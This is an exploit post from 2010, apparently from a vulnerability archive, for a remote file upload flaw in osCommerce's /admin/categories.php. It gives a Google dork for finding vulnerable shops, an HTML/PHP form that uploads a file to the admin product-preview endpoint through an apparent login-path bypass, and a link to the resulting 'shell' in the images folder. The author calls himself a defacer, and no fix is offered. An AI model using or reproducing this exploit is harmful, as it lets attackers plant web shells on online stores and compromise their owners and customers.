osCommerce Remote File Upload Vulnerability (/admin/categories.php)

2010-11-20 12:15:44

# Exploit Title: [oscommerce remote upload from categories.php]
# Google Dork: ["powered by oscommerce"]
# Date: [20-November-2010]
# Author: [Number 7]
#Contact: {an[dot]7[at]live[dot]fr}
# Software Link: [http://www.oscommerce.com/solutions/downloads]
# Tested on: [windows-linux-FreeBSD-Solaris]

exploit:
<html>
<head>
<title>Download</title>
</head>
<body>
<div style="text-align: center;"><big
style="color: rgb(253, 0, 0);"><big><big>Discovered
By Number 7<br>
</big></big></big><span
style="color: rgb(102, 102, 102);">(best defacer kairouan
tunisia 2010)</span><br>
</div>
<big style="font-weight: bold; color: rgb(253, 0, 0);"><big>Oscommerce
script: Remote File Upload in /admin/Categories.php</big></big><br>
<?php $host ="site";
$path ="ath";
?>
<form name="new_product"
action="http://<?php echo $host;echo $path; ?>/admin/categories.php/login.php?cPath=&action=new_product_preview"
method="post" enctype="multipart/form-data"><br>
<input name="products_image" type="file"><br>
<input name="submit" value=" Save " type="submit"><br>
<big style="font-weight: bold; color: rgb(253, 0, 0);"><big>shell
here:</big></big><br>
<?php echo ("Using upload File : <a href=http://$host/$path/images/product_info.php>$host/</>$path</>/images/product_info.php</a></font></body>");
?></form>
</body>
</html>

[~] Greetz tO: [Meher-Assel(Net-Own3r#Shichemt-Älen#Sami(s-man)#zone-h/crew#all tunisian hackers]
[~] Home :info-geek.com/ # v4-team.com/cc/
<!-- Dynamic page generated in 0.027 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-11-21 11:15:19 -->

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.